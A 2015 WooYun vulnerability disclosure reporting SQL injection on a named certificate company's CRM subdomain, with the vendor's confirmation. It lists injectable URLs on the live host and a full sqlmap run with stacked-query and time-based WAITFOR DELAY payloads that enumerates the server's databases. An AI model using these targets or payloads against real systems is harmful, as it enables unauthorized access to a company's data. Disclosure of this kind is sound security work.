当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-090368

漏洞标题：天威诚信某分站存在SQL注入漏洞

相关厂商：北京天威诚信电子商务服务有限公司

漏洞作者： 路人甲

提交时间：2015-01-06 21:35

修复时间：2015-02-20 21:36

公开时间：2015-02-20 21:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-06： 细节已通知厂商并且等待厂商处理中
2015-01-08： 厂商已经确认，细节仅向厂商公开
2015-01-18： 细节向核心白帽子及相关领域专家公开
2015-01-28： 细节向普通白帽子公开
2015-02-07： 细节向实习白帽子公开
2015-02-20： 细节向公众公开

简要描述：

天威诚信某分站存在SQL注入漏洞，有点敏感的业务系统

详细说明：

天威诚信
http://crm.itrus.com.cn/
很多注入点

http://crm.itrus.com.cn/pub/bgtaskreq.php?svr=1
http://crm.itrus.com.cn/background/smsstatusreport.php?ID=1
http://crm.itrus.com.cn/background/sendsms.php?ID=1

漏洞证明：

sqlmap -u 'http://crm.itrus.com.cn/background/recievesms.php?ID=1' --dbs
[07:37:02] [INFO] testing if GET parameter 'ID' is dynamic
[07:37:02] [INFO] confirming that GET parameter 'ID' is dynamic
[07:37:02] [INFO] GET parameter 'ID' is dynamic
[07:37:03] [WARNING] heuristic (parsing) test shows that GET parameter 'ID' might not be injectable
[07:37:03] [INFO] testing for SQL injection on GET parameter 'ID'
[07:37:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:37:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:37:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:37:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[07:37:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[07:37:17] [INFO] testing 'MySQL inline queries'
[07:37:18] [INFO] testing 'PostgreSQL inline queries'
[07:37:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[07:37:18] [INFO] testing 'Oracle inline queries'
[07:37:19] [INFO] testing 'SQLite inline queries'
[07:37:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:37:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:37:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:37:46] [INFO] GET parameter 'ID' is 'Microsoft SQL Server/Sybase stacked queries' injectable 
[07:37:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:38:06] [INFO] GET parameter 'ID' is 'Microsoft SQL Server/Sybase time-based blind' injectable 
[07:38:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:38:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[07:38:14] [INFO] checking if the injection point on GET parameter 'ID' is a false positive
GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 78 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=1; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=1 WAITFOR DELAY '0:0:5'--
---
[07:39:22] [INFO] testing Microsoft SQL Server
[07:39:22] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[07:41:13] [INFO] confirming Microsoft SQL Server
[07:41:33] [INFO] adjusting time delay to 3 seconds due to good response times
[07:41:34] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Nginx, PHP 5.2.17
back-end DBMS: Microsoft SQL Server 2005
[07:41:34] [INFO] fetching database names
[07:41:34] [INFO] fetching number of databases
[07:41:34] [INFO] retrieved: 6
[07:41:55] [INFO] retrieved: master
[07:44:30] [INFO] retrieved: model
[07:46:59] [INFO] retrieved: msdb
[07:48:45] [INFO] retrieved: tempdb
[07:51:38] [INFO] retrieved: turbocrm51
[07:55:58] [INFO] retrieved: turbocrm72140414
available databases [6]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] turbocrm51
[*] turbocrm72140414

修复方案：

打个官方补丁试试看看？

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-01-08 14:49

厂商回复：

十分谢谢乌云，我们将重视该漏洞。

最新状态：

暂无